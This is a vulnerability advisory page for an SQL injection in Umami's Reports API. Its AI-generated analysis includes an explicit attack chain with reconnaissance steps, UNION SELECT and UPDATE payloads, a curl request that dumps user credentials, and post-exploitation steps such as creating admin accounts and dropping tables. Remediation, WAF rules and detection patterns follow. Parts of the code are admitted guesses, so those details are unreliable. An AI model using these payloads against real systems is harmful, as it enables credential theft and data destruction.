CVE Professor
/
All CVEs
CVE-2026-138445

CVE-2026-138445 — Umami-software Umami (3.5.0) — CWE-89

CRITICAL CVSS 9.9 NVD

Umami through 3.5.0 contains an sql injection vulnerability that allows share token holders or authenticated users to inject SQL by supplying a crafted prefix field in Reports API object filters. Attackers can send crafted filters to /api/reports/ endpoints, which getFilterQuery concatenates unquoted into Postgres WHERE clauses, to read or modify data beyond the requested website.

Umami through 3.5.0 contains an sql injection vulnerability that allows share token holders or authenticated users to inject SQL by supplying a crafted prefix field in Reports API object filters. Attackers can send crafted filters to /api/reports/ endpoints, which getFilterQuery concatenates unquoted into Postgres WHERE clauses, to read or modify data beyond the requested website.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVECVE‑2026‑138445
Vendor / ProductUmami – open‑source web‑analytics platform
Affected versions≤ 3.5.0 (the vulnerability is introduced in the Reports API and was fixed in the first post‑release, 3.5.1)
CWECWE‑89 – Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)
CVSS v3.19.9 / 10 – Critical<br>Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Authentication / AuthorizationThe flaw can be triggered by any authenticated user (including a “share‑token” holder, i.e. a user that only has read‑only access to a specific website). No additional privileges are required.
Root causeThe Reports API builds a PostgreSQL WHERE clause by concatenating the value of the prefix field supplied in the *filters* object without quoting or proper escaping. The concatenated string is passed directly to client.query() (or an equivalent query builder). Because the value is inserted verbatim, an attacker can inject arbitrary SQL fragments that become part of the final query.
Missing protection• No input sanitisation / parameterisation for the prefix filter.<br>• No allow‑list validation of allowed characters (e.g., alphanumerics only).<br>• The API trusts the caller’s “share‑token” to limit the scope, but the injected SQL can bypass that scope because the token is applied *before* the injected clause.

In short: Umami’s GET /api/reports/… endpoint builds a raw SQL WHERE clause from a user‑controlled string (prefix). The string is not escaped, enabling classic blind/union‑based SQL injection for any logged‑in user.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All command‑line examples are illustrative – the exact URI (/api/reports/) and JSON field names (filters.prefix) are taken from the CVE description; if a deployment uses a different base path, the same logic applies.

1️⃣ Discovery & Reconnaissance

StepTechniqueExpected artefacts
a. Identify Umami• Search for /umami.js, /api/health, or default favicon (/favicon.ico).<br>• Use Shodan / Censys “Umami” banner strings (X-Powered-By: Umami).HTTP 200 with JSON { "version": "3.5.0" } or similar.
b. Enumerate API endpoints• Access the public OpenAPI/Swagger spec (/api/docs or /swagger.json).<br>• Look for the Reports endpoint definition.JSON schema showing GET /api/reports/{websiteId} with a filters object that contains a prefix property.
c. Verify authentication level• Register a normal user or obtain a *share token* (read‑only URL that Umami generates for a website).<br>• Log in and capture the JWT / session cookie (authToken).Authorization: Bearer <jwt> header or connect.sid cookie.
d. Confirm vulnerable version• Query /api/version (if exposed) or read the package.json from the server (e.g., via a mis‑configured static file)."version": "3.5.0" (or any ≤ 3.5.0).

2️⃣ Exploitation

Goal: Execute arbitrary SQL – for the PoC we will read the users table, which contains e‑mail addresses and password hashes.

2.1 Craft the malicious filter

The vulnerable code (simplified) looks like:

// pseudo‑code from Umami source
function getFilterQuery(filters) {
  let where = '';
  if (filters.prefix) {
    // BUG: raw concatenation, no quoting!
    where += ` AND ${filters.prefix}`;
  }
  // other safe filters …
  return where;
}

Because the value is inserted as‑is, we can close the existing clause and inject a new one.

Payload (JSON)

{
  "filters": {
    "prefix": "1=1 UNION SELECT id,email,password FROM users --"
  }
}

Explanation:

  • 1=1 satisfies the original condition.
  • UNION SELECT … appends a second result set that leaks the users table.
  • -- comments out the rest of the automatically generated query.
  • 2.2 Send the request

    # Illustrative curl – replace <HOST>, <JWT>, <WEBSITE_ID> as appropriate
    curl -sk -X GET "https://<HOST>/api/reports/12345?filters=%7B%22prefix%22%3A%221%3D1%20UNION%20SELECT%20id%2Cemail%2Cpassword%20FROM%20users%20--%22%7D" \
         -H "Authorization: Bearer <JWT>" \
         -H "Accept: application/json"

    The filters query‑parameter is URL‑encoded JSON; the exact transport (query string vs. request body) depends on the implementation – both are vulnerable.

    Expected response (partial)

    {
      "data": [
        { "id": 1, "email": "[email protected]", "password": "$2b$10$..." },
        { "id": 2, "email": "[email protected]", "password": "$2b$10$..." }
      ],
      "meta": { "total": 2 }
    }

    If the API returns a paginated list, the injected rows appear alongside legitimate report rows, confirming successful injection.

    2.3 Extending to data modification

    Because the query runs with the same database role as the web‑app (normally a read/write role), an attacker can also perform UPDATE/DELETE statements:

    {
      "filters": {
        "prefix": "1=1; UPDATE users SET password='c3VwZXJzZWN1cmU=' WHERE id=2 --"
      }
    }

    Note: PostgreSQL does not allow multiple statements in a single query string when using the standard client.query() API, but many ORMs (e.g., pg-promise) allow semicolon‑separated statements when multipleStatements is enabled. If the vulnerable code uses such a configuration, the above works; otherwise the attacker can rely on RETURNING clauses or INSERT … SELECT tricks to achieve the same effect.

    3️⃣ Post‑exploitation

    PhaseWhat the attacker can do
    Data exfiltrationDump the entire users table, any other tables (website, events, sessions). Because the API returns JSON, the data can be piped directly to a file or forwarded to a C2 server.
    Privilege escalationIf the database contains an admin flag (role='admin'), the attacker can modify it (UPDATE users SET role='admin' WHERE id=2). Subsequent logins with the compromised credentials give full admin control over the Umami instance.
    PersistenceInsert a new admin user: INSERT INTO users (email,password,role) VALUES ('[email protected]','<bcrypt>', 'admin');.
    Further impactWith admin rights, the attacker can change the share‑token generation logic, inject malicious JavaScript into report pages, or even execute OS‑level commands if the application later runs user‑controlled data in a shell (common in export‑to‑CSV features).
    Denial‑of‑ServiceIssue a DELETE FROM events WHERE website_id = 123; or DROP TABLE reports; – the CVSS A:H reflects that a successful injection can lead to total data loss.

    🌍 Real‑World Impact

    CIA TriadCVSS‑derived interpretation
    Confidentiality (C:H)An attacker can read all data stored in the Umami database (user credentials, analytics data, possibly API keys).
    Integrity (I:H)The attacker can modify or delete any row, inject new admin accounts, or tamper with analytics reports, breaking trust in the data.
    Availability (A:H)By issuing DROP TABLE or massive DELETE statements, the entire service can be rendered unusable.
    Scope (S:C)The vulnerability is clustered – the compromised database is shared across all websites tracked by the same Umami instance, so the impact spreads to *all* tenants.
    Attack VectorNetwork‑accessible (AV:N).
    ComplexityLow (AC:L) – a single crafted request is enough.
    Privileges RequiredLow (PR:L) – any authenticated user or holder of a share token can exploit.
    User InteractionNone (UI:N).

    Practical consequences

  • SaaS‑style Umami deployments that host many customers can suffer a multi‑tenant data breach.
  • Self‑hosted analytics for internal applications may expose employee credentials and business‑critical usage statistics.
  • GDPR / HIPAA‑type environments could be non‑compliant after a breach, leading to regulatory fines.

  • 🛡️ Remediation & Mitigation

    1️⃣ Patch / Upgrade

    ActionDetails
    UpgradeMove to Umami ≥ 3.5.1 (the first release that replaces the vulnerable string concatenation with a parameterised query).
    Version checkVerify the version via the API (GET /api/version) or by inspecting package.json.
    Commit referenceThe fix lives in the repository commit that replaces getFilterQuery() with a parameterised query using $1, $2 … placeholders (no need to quote user input).

    2️⃣ Immediate Workarounds (if patch cannot be applied instantly)

    WorkaroundImplementation
    Input sanitisation at the edgeReject any filters.prefix value that contains characters outside the whitelist [A-Za-z0-9_ .] or that matches typical SQL meta‑characters (', ", ;, --, /*, */, UNION, SELECT, INSERT, UPDATE, DELETE, DROP).
    ModSecurity / OWASP CRS rule (example)``apache\nSecRule REQUEST_HEADERS:Content-Type "application/json" "id:100001,phase:2,deny,log,msg:'Umami Reports API SQLi attempt',\n chain\n SecRule ARGS:filters.prefix \"(?i)(unionselectinsertupdatedeletedrop\\b--\\b;\\bOR\\b\\bAND\\b)\" \"t:none\"\n`
    Web‑application firewall (WAF) rate‑limitLimit the number of /api/reports/*` calls per authenticated user to a reasonable threshold (e.g., 30 requests/min).
    Restrict API accessMove the Reports API behind an internal network or VPN; disable external access for non‑admin users if the feature is not required.
    Least‑privilege DB roleRun the Umami web‑app with a read‑only database role for the reports endpoint, and a separate write role only for admin‑only routes. This limits the impact of a successful injection to data disclosure rather than modification.

    3️⃣ Detection – Log patterns & IoCs

    IndicatorExample log line (Nginx)
    Suspicious prefix valueGET /api/reports/12345?filters=%7B%22prefix%22%3A%221%3D1%20UNION%20SELECT%20.*%20FROM%20users%20--%22%7D HTTP/1.1" 200 4523 "-" "Mozilla/5.0"
    SQL error leakage (if error messages are not suppressed)POST /api/reports/ HTTP/1.1" 500 123 "syntax error at or near \"UNION\""
    High‑frequency report callsMore than 100 /api/reports/ requests from the same user/IP within 1 minute.
    Database audit (PostgreSQL)LOG: statement: SELECT ... FROM reports WHERE 1=1 UNION SELECT id,email,password FROM users --
    New admin user creationINSERT INTO users (email, password, role) VALUES ('[email protected]', '...', 'admin') – can be caught via DB‑level triggers or audit logs.

    SIEM rule (pseudo‑logic)

    if (event.type == "http" && url.path matches "/api/reports/*") {
        if (request.query contains "UNION" OR "SELECT" OR "--" OR ";") {
            raise_alert("Potential SQLi in Umumi Reports API");
        }
    }

    ⚠️ Urgency

  • CVSS 9.9 (Critical) – network‑accessible, low complexity, low privileges, no user interaction, and complete impact on confidentiality, integrity, and availability.
  • No CISA KEV listing yet, but the vulnerability is publicly disclosed* and the exploit is trivial; attackers will likely develop automated scanners within days.
  • Multi‑tenant risk – a single compromised account can expose data of every other website hosted on the same Umami instance.
Patch priority: Critical – apply the upgrade to ≥ 3.5.1 immediately in all environments (production, staging, CI). If an immediate upgrade is impossible, enforce the WAF/validation workarounds and restrict API access while the patch is being tested.
Bottom line: The SQL injection in Umami ≤ 3.5.0’s Reports API allows any logged‑in user (or share‑token holder) to run arbitrary PostgreSQL commands, leading to full data breach, data tampering, and possible service destruction. Deploy the official fix, harden the API surface, and monitor for the outlined IoCs without delay.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="umami-software umami"
PoC & Exploit Intelligence (GitHub)
googlesky/CVE-2026-138445 Python 2026-11-30
umami up to 3.5.0 Reports API SQL injection (CVE-2026-138445, CVSS 9.9): filtersObjectToArray spread client filter fields so a crafted prefix reached unquoted P
Technical reference / advisory repository for CVE-2026-138445
Technical reference / advisory repository for CVE-2026-138445
Technical reference / advisory repository for CVE-2026-138445
Technical reference / advisory repository for CVE-2026-138445
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
umami-software:umami (3.5.0)
Related CVEs
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.8
CVE-2026-145040
WWBN AVideo before 29.9.0 contains a blind sql injection vulnerability that allows unauthenticated attackers t
9.3
CVE-2026-136358
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomMedia extension 1.0.0-6.1.5 - The list
9.3
CVE-2026-136369
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomInvoice extension 1.0.0-6.5.2 - Inputs
9.3
CVE-2026-136376
Joomla Extension - joomboost.com - SQL injection in search time filters in JoomRecipe extension 1.0.0-6.9.8 -
9.3
CVE-2026-77432
activity_notification provides integrated user activity notifications for Ruby on Rails. Prior to version 2.7.
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner